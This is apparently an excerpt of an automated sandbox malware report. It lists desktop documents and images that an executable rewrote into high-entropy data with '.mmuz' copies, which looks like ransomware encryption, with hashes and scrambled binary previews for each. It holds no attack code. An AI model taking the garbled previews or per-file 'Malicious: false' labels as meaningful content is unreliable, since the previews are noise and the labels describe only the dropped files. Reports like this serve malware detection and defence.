Preview:	NVWZAg......VTZN...w...c..E.@..+.M..[...Z. L-.......H..3......S.~.[^8..v.\<....xO.i.K......KC.....20-,\|..].....G.m.H..Xn....I.n!:#LUh5y.z.o....6.k....].Q.v.3.X.......S.B..orD.......i....".P.}.r....m.k...M5=..\...s...LR?..O/-..AF....0...p.s..+=Z.+B.p...........l.;.\U...0!DU%......`..#...8F...]9.....C.}...D.y....u7...n.!.`...M.<..@/yj.)..j.rr..<...........T.w.Zb.4....oc1. .?.k..........R...N......X..\|.T.... .j.:..Y.....6..M..?.#...z.........vW.B.........L..r!tl......\|)N/........s70V..S.0.#.....O...l...O..!..7..L..x.+8y`)Q}IG..c..5./.N..(6..VQ.K.qB%.!..b.....7.....ScM.bP......m./....~..[3.!:p.Tx.v..o....m.g../..]&.A a...)!.......2..=..\|v%.4.X94.s..P.p...0...C.dB.... 9.J>....(.....:..`.C~l(.8.........q......R.\}$....w......pA...g`.....Og..=.v.F...O..#. ..Z.....W...\|.....*.......2.aEOW&.d{..#.~N...x.I.\|..>..8.F.........N.@..iK....,.4D..Oid....:g..i...K.+`w'.f..]..8U(..X..f1...[.....(..`-.r.(.o..E....3.zY..&..i.E.DB.+..@.!.....V.>.5.0..PT.T.J.m

C:\Users\user\Desktop\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.817575509612506
Encrypted:	false
SSDEEP:	24:0HqLebnF2Ta9j7m1IePQrfvBH8OxA+ijwmXVzpp6dEL2x8/QYUeteOcqVtEP7kbD:0HFnFwaYWfuOzijwmFzpp6WLqYUpOltl
MD5:	0410184EC748CD645EA22431EA7857A6
SHA1:	63666A6C1E30E4586393EEFF11A27F2E1039BC00
SHA-256:	9D907CD8FBE3370DDC7AAC2F73556C8B46389EA750437568B233998275C8C46D
SHA-512:	225E58E708C7E93121B7A3EF399FB33A63920A1874A6D034C45CE34174E0625AD15F86D6929E54ACD829710E8E02A716681796A66F133F6DE6012048BE1EBB34
Malicious:	false
Preview:	PWCCA.....s..d.>...N....@.q..v.aJ.;T...N..IH s.....CO......k..:rA..G/..../.....%J8.V#.d..(...J..8..?.....B\|.....x..$.......v...`.B/:....7...}...M..I.U0^8....QJ...-a..-9..9.gS...i..w.)r..C0.F...B....PZ,8.2b...&.5...5..P[g\|....).4G......o.....;....RQ..N...5T..Mh.l.h{..4.S..]B.q....O..K.@#1a.....!p...w2;.....;....lP.....ds..F......2o....X.JY.er9`.+I...W...4..ZR....<W.)..Y...KCk..Z/\|..uuvCG.Fx.f..'.t....JQ.]..).^.r.?.n\|2...6.<.\.)x.J..sK....O....8..."P...>.I........0...Ft....w&.\.n..(Y.6=...7.....d...6Y..a.R.8..I....MGC&E.M..y.K.2=...^.xj..".?.......F7..y:V'..A./...{..S<.(...s.2....7a.....t3]..6..P..=.I"...-...j.....\|~ZN.C.#.'._.\><..7%s.!aS....e%'.y...'N1n.\21.......B..1...\|...).L....I#..WM........f7PPhp.GK..p.....4......;...R...NM.....&2.0(.G..y..4..+U.c.(.;.....[..=..e.G...E.O./L.)C...=.&B<..av:s.k..G......RY..Os&..q<....9J..ox.P..U........6B..o.K..<...7..v./..0N.jV.E4._`(.'....G..p.uy.=$.ds.F>H.y..TY..>..,....9+.yT..Zc.R.T.^..;...a8.F1..o.

C:\Users\user\Desktop\PWCCAWLGRE.pdf.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.817575509612506
Encrypted:	false
SSDEEP:	24:0HqLebnF2Ta9j7m1IePQrfvBH8OxA+ijwmXVzpp6dEL2x8/QYUeteOcqVtEP7kbD:0HFnFwaYWfuOzijwmFzpp6WLqYUpOltl
MD5:	0410184EC748CD645EA22431EA7857A6
SHA1:	63666A6C1E30E4586393EEFF11A27F2E1039BC00
SHA-256:	9D907CD8FBE3370DDC7AAC2F73556C8B46389EA750437568B233998275C8C46D
SHA-512:	225E58E708C7E93121B7A3EF399FB33A63920A1874A6D034C45CE34174E0625AD15F86D6929E54ACD829710E8E02A716681796A66F133F6DE6012048BE1EBB34
Malicious:	false
Preview:	PWCCA.....s..d.>...N....@.q..v.aJ.;T...N..IH s.....CO......k..:rA..G/..../.....%J8.V#.d..(...J..8..?.....B\|.....x..$.......v...`.B/:....7...}...M..I.U0^8....QJ...-a..-9..9.gS...i..w.)r..C0.F...B....PZ,8.2b...&.5...5..P[g\|....).4G......o.....;....RQ..N...5T..Mh.l.h{..4.S..]B.q....O..K.@#1a.....!p...w2;.....;....lP.....ds..F......2o....X.JY.er9`.+I...W...4..ZR....<W.)..Y...KCk..Z/\|..uuvCG.Fx.f..'.t....JQ.]..).^.r.?.n\|2...6.<.\.)x.J..sK....O....8..."P...>.I........0...Ft....w&.\.n..(Y.6=...7.....d...6Y..a.R.8..I....MGC&E.M..y.K.2=...^.xj..".?.......F7..y:V'..A./...{..S<.(...s.2....7a.....t3]..6..P..=.I"...-...j.....\|~ZN.C.#.'._.\><..7%s.!aS....e%'.y...'N1n.\21.......B..1...\|...).L....I#..WM........f7PPhp.GK..p.....4......;...R...NM.....&2.0(.G..y..4..+U.c.(.;.....[..=..e.G...E.O./L.)C...=.&B<..av:s.k..G......RY..Os&..q<....9J..ox.P..U........6B..o.K..<...7..v./..0N.jV.E4._`(.'....G..p.uy.=$.ds.F>H.y..TY..>..,....9+.yT..Zc.R.T.^..;...a8.F1..o.

C:\Users\user\Desktop\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86463692007813
Encrypted:	false
SSDEEP:	24:Yu2abHfNmzNvp6KS7W6E2BD/3CoCcQ5I7kXY7C07dpCcKAtEHV7r0uRHUOlb0IkX:Yx+Vqp61p/CWQygI3TE17r0uRH/b0FD
MD5:	20A836621464D62C70EF872AC30CD8A3
SHA1:	DEBE05047F56DACD39BFC117B88EB25F733CED07
SHA-256:	DB09DD3EF23D438564606621C2840C4D2C78D088F03FB60283A0DFA6DE377929
SHA-512:	93F07D695A52016173ADC9D96C36088EDD40165F265E171136406A1999E89BCADC6667A1C850055E6A4006DEB5CA4F60B2A8FF64B509BFAE0D88E72CC90CBA92
Malicious:	false
Preview:	QCFWY.;..4..T7..V.7P%N..9..t4$y...n..U..J..vE....F..........+.\.&...w..#.f..>.jzRT...?N..J..2......,.&.......fs.r..-F......W:..........&....]<......h.f....c.......3..8a....N.j..B...T+..;r ..0..11...[i..X.b...d..b. ..9l...`......l..?.A.>2.h......'KX..>..w..TNz...~...q...Gz!5...q...(=.c:.&...;.c...Bv...F1.w=...?*..:..' .r...s@..G........'..w.`.$.3..i9/_S.c.s....C..UO..od.......!R........M}..m.("....O.g..../......V.@}.....4jn.Fz....`.fn&.G..V...l...li.#...V7.e<hJ\1Z......!.n.hR...2!=...g.e9i..1T..s....(...].{FK2..3.s..x8.u....Mo.....kTl...O..~+3.}.#.>"..W......z,.P..Y._.e.\..v\|.Y.4.a..p.G0..".1.f..1c!..._S....=.....3`G..[.6n..a.f?..L.?.....\|.....D.'..S...#?..I8ui..{.z....x.A......}.i.q....>.<......>..,....Y.9..I.......xg.2+,.=. .(..s....W....Gj9..@....D0.Eg.zAVQ....x....!.(67...I6.......q1......PF...049...P.%..Q..F.q.DB..=._,s... ...B.c.C..8.....w......8m./x~...........C3.....\|...r....K.....b//.i..t.I......_O.............%." .....vks.ay....

C:\Users\user\Desktop\QCFWYSKMHA.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86463692007813
Encrypted:	false
SSDEEP:	24:Yu2abHfNmzNvp6KS7W6E2BD/3CoCcQ5I7kXY7C07dpCcKAtEHV7r0uRHUOlb0IkX:Yx+Vqp61p/CWQygI3TE17r0uRH/b0FD
MD5:	20A836621464D62C70EF872AC30CD8A3
SHA1:	DEBE05047F56DACD39BFC117B88EB25F733CED07
SHA-256:	DB09DD3EF23D438564606621C2840C4D2C78D088F03FB60283A0DFA6DE377929
SHA-512:	93F07D695A52016173ADC9D96C36088EDD40165F265E171136406A1999E89BCADC6667A1C850055E6A4006DEB5CA4F60B2A8FF64B509BFAE0D88E72CC90CBA92
Malicious:	false
Preview:	QCFWY.;..4..T7..V.7P%N..9..t4$y...n..U..J..vE....F..........+.\.&...w..#.f..>.jzRT...?N..J..2......,.&.......fs.r..-F......W:..........&....]<......h.f....c.......3..8a....N.j..B...T+..;r ..0..11...[i..X.b...d..b. ..9l...`......l..?.A.>2.h......'KX..>..w..TNz...~...q...Gz!5...q...(=.c:.&...;.c...Bv...F1.w=...?*..:..' .r...s@..G........'..w.`.$.3..i9/_S.c.s....C..UO..od.......!R........M}..m.("....O.g..../......V.@}.....4jn.Fz....`.fn&.G..V...l...li.#...V7.e<hJ\1Z......!.n.hR...2!=...g.e9i..1T..s....(...].{FK2..3.s..x8.u....Mo.....kTl...O..~+3.}.#.>"..W......z,.P..Y._.e.\..v\|.Y.4.a..p.G0..".1.f..1c!..._S....=.....3`G..[.6n..a.f?..L.?.....\|.....D.'..S...#?..I8ui..{.z....x.A......}.i.q....>.<......>..,....Y.9..I.......xg.2+,.=. .(..s....W....Gj9..@....D0.Eg.zAVQ....x....!.(67...I6.......q1......PF...049...P.%..Q..F.q.DB..=._,s... ...B.c.C..8.....w......8m./x~...........C3.....\|...r....K.....b//.i..t.I......_O.............%." .....vks.ay....

C:\Users\user\Desktop\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837518120057239
Encrypted:	false
SSDEEP:	24:O3joMvOutTX5f6VUC15PMaZhOrM/JSzD1V+suNOCllvhEnU4iQLtEL4fMRnE8jPP:O3LVtTX5QN15PnZhf/JSn/+suN9l6U4i
MD5:	A1DB85C239AC92C00AB0C4702A9633B0
SHA1:	F37DBC12681D51AB38CBB6AFF5424FAB38AB7BE6
SHA-256:	6ECC5EEF2D33EE5C09A547D18E8D4248FE02B6BC96828DEFB00FA68332A55B0A
SHA-512:	7315D34DC404C64C28D492B031959CC510BD60ADC96DE5FFE7BE12BE90600034BEEF763DE757B6C3F72EBCAEA950EC27AE7EB15F5136E3E0BEF1317220BF2AB1
Malicious:	false
Preview:	SFPUS.9L....w....5.nc.R......jM!5...xYJ.p%1..Z.9ZS....\|...>........C....8.......8.@{.8t.#j.#r...A...~QN.....J[%8...r.)`....E.....4uIY.v.......M?{.]..@ .C.9..>.8...).X.v.z...r.:.J9d8t....6.a....;.1I%.Rh.s.6H..o.P.^7(+..k..{..8^:..B....i...)..h...('.4..`...y...X........&.ul...d...1.#..H.C....Hz.:.......I.~..l..BW....K1j.rIY...].!.....a.3.d.....JK.,Yki.+...<..A..1@b[..k..&.....1.5"@..7I.'.+....y..P..D.:!.Y.%.#..+...8....r.Wk..Vn,...b%d..d.o\|(0hl...0^..@.m.o....6!.....$..\m.u`$..%@.N./..%.Q.J.hx..Q..j..4Mstq...n.G..R....FZ..o.].i....0...V..^..,..{....7..}7H......bx..J..i...A...;...................2..g.}Q....s.g....@....F).[!....m.m.{.t........wv..C0.._...h2..D..XnD.j<.h.......L..0s(.S!...'..hpv.IYDg7 .m..2D..{...Nu........oV.y...k.g..c3F...D.)q.g?.H.d.....0.sa.e...1....8.CM65.\|&......sk.k.....Q.W..".6s.?m.D.._....?.C+I...."4z...O...{.E....U.....\y..y.......x#{..R.BS@@.R......L.%....Hn..o..a.........<X...>..3.....cW..O.2d...qi.^ =<\."f.oS..A\|.

C:\Users\user\Desktop\SFPUSAFIOL.docx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837518120057239
Encrypted:	false
SSDEEP:	24:O3joMvOutTX5f6VUC15PMaZhOrM/JSzD1V+suNOCllvhEnU4iQLtEL4fMRnE8jPP:O3LVtTX5QN15PnZhf/JSn/+suN9l6U4i
MD5:	A1DB85C239AC92C00AB0C4702A9633B0
SHA1:	F37DBC12681D51AB38CBB6AFF5424FAB38AB7BE6
SHA-256:	6ECC5EEF2D33EE5C09A547D18E8D4248FE02B6BC96828DEFB00FA68332A55B0A
SHA-512:	7315D34DC404C64C28D492B031959CC510BD60ADC96DE5FFE7BE12BE90600034BEEF763DE757B6C3F72EBCAEA950EC27AE7EB15F5136E3E0BEF1317220BF2AB1
Malicious:	false
Preview:	SFPUS.9L....w....5.nc.R......jM!5...xYJ.p%1..Z.9ZS....\|...>........C....8.......8.@{.8t.#j.#r...A...~QN.....J[%8...r.)`....E.....4uIY.v.......M?{.]..@ .C.9..>.8...).X.v.z...r.:.J9d8t....6.a....;.1I%.Rh.s.6H..o.P.^7(+..k..{..8^:..B....i...)..h...('.4..`...y...X........&.ul...d...1.#..H.C....Hz.:.......I.~..l..BW....K1j.rIY...].!.....a.3.d.....JK.,Yki.+...<..A..1@b[..k..&.....1.5"@..7I.'.+....y..P..D.:!.Y.%.#..+...8....r.Wk..Vn,...b%d..d.o\|(0hl...0^..@.m.o....6!.....$..\m.u`$..%@.N./..%.Q.J.hx..Q..j..4Mstq...n.G..R....FZ..o.].i....0...V..^..,..{....7..}7H......bx..J..i...A...;...................2..g.}Q....s.g....@....F).[!....m.m.{.t........wv..C0.._...h2..D..XnD.j<.h.......L..0s(.S!...'..hpv.IYDg7 .m..2D..{...Nu........oV.y...k.g..c3F...D.)q.g?.H.d.....0.sa.e...1....8.CM65.\|&......sk.k.....Q.W..".6s.?m.D.._....?.C+I...."4z...O...{.E....U.....\y..y.......x#{..R.BS@@.R......L.%....Hn..o..a.........<X...>..3.....cW..O.2d...qi.^ =<\."f.oS..A\|.

C:\Users\user\Desktop\SFPUSAFIOL\GAOBCVIQIJ.mp3

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848745554123492
Encrypted:	false
SSDEEP:	24:SfhPTtifF4FgR3clMrvX3J//YS/iAQoJ6NLivNSjeMTN0pp5Fi+pytfut5kbD:SfBT89ygFclMrPJI6nJ6piWewCdF3KWC
MD5:	3C27FEC2863EDF9EC4C954274DB00D19
SHA1:	1AB31FBAC2B9F33E2EAC9D88BD9008F0A3CEBF24
SHA-256:	532CB780DF8EBFAB2567311E0CC1D0D19425D4F28AFEB8AA5BB68ACFC7E10866
SHA-512:	A2B4CD01E670F3D28BB3F522607D66CD54B721F42425DE59473EAF869911B45B20BA6076882EC2A8CA834E40BF57DC45B0DF8CB95EA239398FDD6C8AA6C6594D
Malicious:	false
Preview:	GAOBC#.G...d.Ch...k........6......].+.L...`...46..`0[S.N..(J...F/$/.>4.4...a`.k...G..i0..~gr...F.}...X.....<.\|.....N..+..RGJ..g....\.Q.".L.I..[.pN~.d.W.WG...w.JQh.5...h9'y;)b..yv<&...e2..:..9..>N.........h.1=...3.y......d.q.\|.lJ[.Rxp)\.K.q^n?V......h.:..u.QU....\\R.t.....7...No{.f7...f..F..h....L...Wfl....726.....X....j.}.C..E!z).]..P/.V.3>....nm....n.....J..........@.'<B.i.i..Q..yi.+Yd..C..2...j.-."[.5\|.s.........&."\...V..n..S&a.+......a..T......>...5.8.\|.C.m_J...M..;u.~..;.%....nGT...Do...4j..;IsO.......W.~'....Z.....#..)....-.z-..........U.^xS...1..{.j(.S5...................K.,D..r....@.....oT...V.._.u......N....AF.H..!..P.....V..kL...5yM..y.F..\|.,d.J...fS....! .....].v'... .+h....x.E.E.j......h...Mp...@...\|..g...E..).a.=..:!.NC.....}R...b......M.U.B.3.9.S.B.F.^...S.>.e.....;.v.:.a...p~~....c....G...>.1....-.......:..vK\|.q.l.D...y.F.......w.H...h..a.'n.....?m..d..Af....k.......K..5u.:}_.y.Z._...%.4......O/...r...>..N.

C:\Users\user\Desktop\SFPUSAFIOL\GAOBCVIQIJ.mp3.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848745554123492
Encrypted:	false
SSDEEP:	24:SfhPTtifF4FgR3clMrvX3J//YS/iAQoJ6NLivNSjeMTN0pp5Fi+pytfut5kbD:SfBT89ygFclMrPJI6nJ6piWewCdF3KWC
MD5:	3C27FEC2863EDF9EC4C954274DB00D19
SHA1:	1AB31FBAC2B9F33E2EAC9D88BD9008F0A3CEBF24
SHA-256:	532CB780DF8EBFAB2567311E0CC1D0D19425D4F28AFEB8AA5BB68ACFC7E10866
SHA-512:	A2B4CD01E670F3D28BB3F522607D66CD54B721F42425DE59473EAF869911B45B20BA6076882EC2A8CA834E40BF57DC45B0DF8CB95EA239398FDD6C8AA6C6594D
Malicious:	false
Preview:	GAOBC#.G...d.Ch...k........6......].+.L...`...46..`0[S.N..(J...F/$/.>4.4...a`.k...G..i0..~gr...F.}...X.....<.\|.....N..+..RGJ..g....\.Q.".L.I..[.pN~.d.W.WG...w.JQh.5...h9'y;)b..yv<&...e2..:..9..>N.........h.1=...3.y......d.q.\|.lJ[.Rxp)\.K.q^n?V......h.:..u.QU....\\R.t.....7...No{.f7...f..F..h....L...Wfl....726.....X....j.}.C..E!z).]..P/.V.3>....nm....n.....J..........@.'<B.i.i..Q..yi.+Yd..C..2...j.-."[.5\|.s.........&."\...V..n..S&a.+......a..T......>...5.8.\|.C.m_J...M..;u.~..;.%....nGT...Do...4j..;IsO.......W.~'....Z.....#..)....-.z-..........U.^xS...1..{.j(.S5...................K.,D..r....@.....oT...V.._.u......N....AF.H..!..P.....V..kL...5yM..y.F..\|.,d.J...fS....! .....].v'... .+h....x.E.E.j......h...Mp...@...\|..g...E..).a.=..:!.NC.....}R...b......M.U.B.3.9.S.B.F.^...S.>.e.....;.v.:.a...p~~....c....G...>.1....-.......:..vK\|.q.l.D...y.F.......w.H...h..a.'n.....?m..d..Af....k.......K..5u.:}_.y.Z._...%.4......O/...r...>..N.

C:\Users\user\Desktop\SFPUSAFIOL\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83973500808619
Encrypted:	false
SSDEEP:	24:h/6P6zJfqdSNaboAdqcrSmQIOK8qh6AfZghOwDNSR/ySVXVis8Berz0kbD:ZZzASNTA8kQI97h6mghFDokYJ8wrVD
MD5:	39475BF3B11E9C6575F1D07ACAEC3693
SHA1:	6DBDC249518E96DB8270DB96718B8B9D7920A522
SHA-256:	8AB61C79886AD245BA0FA4978DAD266012E2052F784DEC9861726EA1EEE21AF5
SHA-512:	3AA20125E59A768BD95D732B2EFF70B2D2CA86C0E0B78BE6A356D07D2CDBBEAC737C725A66B2C013EC39C7F5C2D871DC3C19B60DB0EA0714C036719AAFA05804
Malicious:	false
Preview:	IPKGE...M.w...".!..2....$i.m....<wo....c...o.g.;!M...2_.@3..;..T[..%"..2.t...)... j....M&.[qQ.....u..3.........d.......Z.<.."_..T.u.a.@...."$.[......u.]g3Mj.7.....L.63C....@....5I.D.h..!.........@.......a,.r...h...]..N-zy]...Vv.O.. )......u`..7..-..Gr.....i.].Q.....B....,.^@.D.&.1.....r."...p<2..g.Q..c.....t.....I....l+..q...6_Z.n.B..)pF...R]L..y.x.(@.w.-_....:....&..]rQ..\|P-C..1.....C"....D....".....j[..i.T.9..:.(q....F;[........+d.@WV.,6..C.8F. ..........z.M...........P..3..F..-.;RhR.....g.=..'..b.CZ:#....41 .E.U.f.RB....L.S....#,...[......"..@(.....~P....C.....6..z.~....J..pc..C..r;.......(.h...N7C..Y..I..\|U.!......OK.,.=..\U....Mh.+.....3.O.y_.q!..u......w.9..b*em...fM...5......</...tT....d.....^I..~.....^..u...&=..\|.{....F..D...............Uf.V6...V.......)...5..E8U.xh..M....Lw..l.f..ae...c.....Q[ph.O#p.c...M...Y...Us.......R.9..'.\|.T.m2Q..f.u8g.9P...S...'..M.n=...F.@^..T....}u.:..'.....Y4J...>.I.o.b.cv!.Y...'...=.B2^

C:\Users\user\Desktop\SFPUSAFIOL\IPKGELNTQY.xlsx.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83973500808619
Encrypted:	false
SSDEEP:	24:h/6P6zJfqdSNaboAdqcrSmQIOK8qh6AfZghOwDNSR/ySVXVis8Berz0kbD:ZZzASNTA8kQI97h6mghFDokYJ8wrVD
MD5:	39475BF3B11E9C6575F1D07ACAEC3693
SHA1:	6DBDC249518E96DB8270DB96718B8B9D7920A522
SHA-256:	8AB61C79886AD245BA0FA4978DAD266012E2052F784DEC9861726EA1EEE21AF5
SHA-512:	3AA20125E59A768BD95D732B2EFF70B2D2CA86C0E0B78BE6A356D07D2CDBBEAC737C725A66B2C013EC39C7F5C2D871DC3C19B60DB0EA0714C036719AAFA05804
Malicious:	false
Preview:	IPKGE...M.w...".!..2....$i.m....<wo....c...o.g.;!M...2_.@3..;..T[..%"..2.t...)... j....M&.[qQ.....u..3.........d.......Z.<.."_..T.u.a.@...."$.[......u.]g3Mj.7.....L.63C....@....5I.D.h..!.........@.......a,.r...h...]..N-zy]...Vv.O.. )......u`..7..-..Gr.....i.].Q.....B....,.^@.D.&.1.....r."...p<2..g.Q..c.....t.....I....l+..q...6_Z.n.B..)pF...R]L..y.x.(@.w.-_....:....&..]rQ..\|P-C..1.....C"....D....".....j[..i.T.9..:.(q....F;[........+d.@WV.,6..C.8F. ..........z.M...........P..3..F..-.;RhR.....g.=..'..b.CZ:#....41 .E.U.f.RB....L.S....#,...[......"..@(.....~P....C.....6..z.~....J..pc..C..r;.......(.h...N7C..Y..I..\|U.!......OK.,.=..\U....Mh.+.....3.O.y_.q!..u......w.9..b*em...fM...5......</...tT....d.....^I..~.....^..u...&=..\|.{....F..D...............Uf.V6...V.......)...5..E8U.xh..M....Lw..l.f..ae...c.....Q[ph.O#p.c...M...Y...Us.......R.9..'.\|.T.m2Q..f.u8g.9P...S...'..M.n=...F.@^..T....}u.:..'.....Y4J...>.I.o.b.cv!.Y...'...=.B2^

C:\Users\user\Desktop\SFPUSAFIOL\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863769053300576
Encrypted:	false
SSDEEP:	24:Keold0KUkOoKK7M55RvL0+2miS+C1si2SIQKl7oO7XH2gKEM7kbD:KeW0kqUMbz0+2htC1sl7o2b2KD
MD5:	7C3BF739BC33123CBE8B5003FB87188C
SHA1:	D03EB46622AA19B6893A7945F3357B81894C8ACD
SHA-256:	5C98D2C40392E5951CB797C1BB570A8C2E76D5970C6DB2A7AE34D56401264A30
SHA-512:	138E0888FAA005476F082DF431DA763076D18BEAF8C98DC2EAD9A6F8E08E0BEC358F7C1D5BB4D0A03E6DA9746ED5F95BCF8126CED26E5D30AE68027DD2D59797
Malicious:	false
Preview:	LSBIH;.k..NL.yp/..NJq..[.8..4.....ZSp..G.....ff.A...$..si.....<.K..T.M8.?<..{T..^5L.X...L.j........MA.. Eek.2(.f.ab7n..K...V=.K..).=......h..,&.....x7....?u....-.3_(>.."...&n~..0...P.4{...N.....u..dV\|.......)..}z..\..+.L......1z...m..(.i....D!..P..,..T.>.7.....~......D.K.W...P..}a...Glyq,...I...\u....\|.{F.. C........T..`..$.@CDA.....r`tiV\|..`W.....q....0-....A.!......8./k.X..7....nF.....&.....9...h....D.c..)..3].D'.H.........8........n..P#Zzu..h.....&V..J..~I.w...2.b..X.......dw......u.=.D!.. ....8......#..A.\|....u....o/.->.x.lX.0......8.6..x.S...Dh..#.l92c.4...)*u..n.h.q.....".Z.j.5.. ..m..~.......m29...<z}....E..&......"m.r.j.SZ-.O...e8H.1..q..6..b.N@.._.o..A.....&...;\|..........2..M...WP..H6.$............F2.8.4.....'...l....G.,".9XlVf...j.N............BE.g.~.M.oS.F..}...@.".b>\..w..V..c.q.'.VF.U/..3b... -..,l..jD.?...A...S.........y..I....f.......[..W......H.H.......f..3.6...Dzob.4..%5.....#s0....,.....O./.O}...e.......

C:\Users\user\Desktop\SFPUSAFIOL\LSBIHQFDVT.jpg.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863769053300576
Encrypted:	false
SSDEEP:	24:Keold0KUkOoKK7M55RvL0+2miS+C1si2SIQKl7oO7XH2gKEM7kbD:KeW0kqUMbz0+2htC1sl7o2b2KD
MD5:	7C3BF739BC33123CBE8B5003FB87188C
SHA1:	D03EB46622AA19B6893A7945F3357B81894C8ACD
SHA-256:	5C98D2C40392E5951CB797C1BB570A8C2E76D5970C6DB2A7AE34D56401264A30
SHA-512:	138E0888FAA005476F082DF431DA763076D18BEAF8C98DC2EAD9A6F8E08E0BEC358F7C1D5BB4D0A03E6DA9746ED5F95BCF8126CED26E5D30AE68027DD2D59797
Malicious:	false
Preview:	LSBIH;.k..NL.yp/..NJq..[.8..4.....ZSp..G.....ff.A...$..si.....<.K..T.M8.?<..{T..^5L.X...L.j........MA.. Eek.2(.f.ab7n..K...V=.K..).=......h..,&.....x7....?u....-.3_(>.."...&n~..0...P.4{...N.....u..dV\|.......)..}z..\..+.L......1z...m..(.i....D!..P..,..T.>.7.....~......D.K.W...P..}a...Glyq,...I...\u....\|.{F.. C........T..`..$.@CDA.....r`tiV\|..`W.....q....0-....A.!......8./k.X..7....nF.....&.....9...h....D.c..)..3].D'.H.........8........n..P#Zzu..h.....&V..J..~I.w...2.b..X.......dw......u.=.D!.. ....8......#..A.\|....u....o/.->.x.lX.0......8.6..x.S...Dh..#.l92c.4...)*u..n.h.q.....".Z.j.5.. ..m..~.......m29...<z}....E..&......"m.r.j.SZ-.O...e8H.1..q..6..b.N@.._.o..A.....&...;\|..........2..M...WP..H6.$............F2.8.4.....'...l....G.,".9XlVf...j.N............BE.g.~.M.oS.F..}...@.".b>\..w..V..c.q.'.VF.U/..3b... -..,l..jD.?...A...S.........y..I....f.......[..W......H.H.......f..3.6...Dzob.4..%5.....#s0....,.....O./.O}...e.......

C:\Users\user\Desktop\SFPUSAFIOL\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.875070418607233
Encrypted:	false
SSDEEP:	24:7TO3kMAb8YM25vKcSeTH+NTipYtvERAim6RHuLl5cKU5VnIqMw4kbD:SAwP25eJM3M6RHufcdVI4D
MD5:	58848A443FA60A392960BB02A97DFE97
SHA1:	AB6900141CF448357814C7855C7F35A11A674435
SHA-256:	8BAFB2BB7AEA6330C88469B29EE617BE15DA2181E7173B51642ACECFA8B3ABB0
SHA-512:	5A46D9113AB0F16523A3A60363069F5D9C68B86131EB473719D7AD67DDBB2F8A2EA82CC28DFE6038AAED0F0764CA80F4DF748B3FE31AB737E515630E9A8B99D4
Malicious:	false
Preview:	NEBFQ.E.6.......q...O.@...>.XE.[...`R4.W.....HJ.C..iK....<h.9...o...4..;..L.p..w.........P.a.=.[@Y.O...H.....c.Ck.....o..}...8x....!E...`..o...]Xn..K.z.4..]........./&-V.WFD...=U..J.s[ .eK..'<...J..C..M..[N...._s..1.U.!D>./..fI.I,.+..%......W.-.CP.7.W6...fxX)..Z.....I...I...,sO..r[x.3_.\|.{.A.\[.....s....`v.....x.2,k..i...Q\$7dc...n.....&..:_;..%.,..j.y,.....$sx..:&o...D.@1..M.9..z....5...6...).+e)..o..4L>...A...?j.A..R...3...#..a...M;lM%......-.W.D_...q..S....<.ym.../(..qX.!.]....t.......$....U....c.......lf.W..Z.$.5v.%.....J.u.}p.jE....~H$.#..4p../.......i...`.o..E..O.^...Sc...5W.......F.4.bV..p.,wg..B....i.<0.....I..:R].....g..9!....Q..5w....C..@.+\P*.y..\.K......14i..&.P.u.=..b..}..h....eY&.av.....Z..Cis.Y..1.i.......[..~J./.^...[.U.dH.)..1..t.aM...g...Z.an1..........`..........z..v.).?..]%y0..w.WB'cc$t...W...z3G\|N.N....ru..a...P.U3.>E...jC..2...a.4o.^7!U>?.3..e.>..b'.:6......7...S..7.~...8c.No..^.Q= .U...V..J...G.'`'....d.N.Y.

C:\Users\user\Desktop\SFPUSAFIOL\NEBFQQYWPS.pdf.mmuz (copy)

Download File

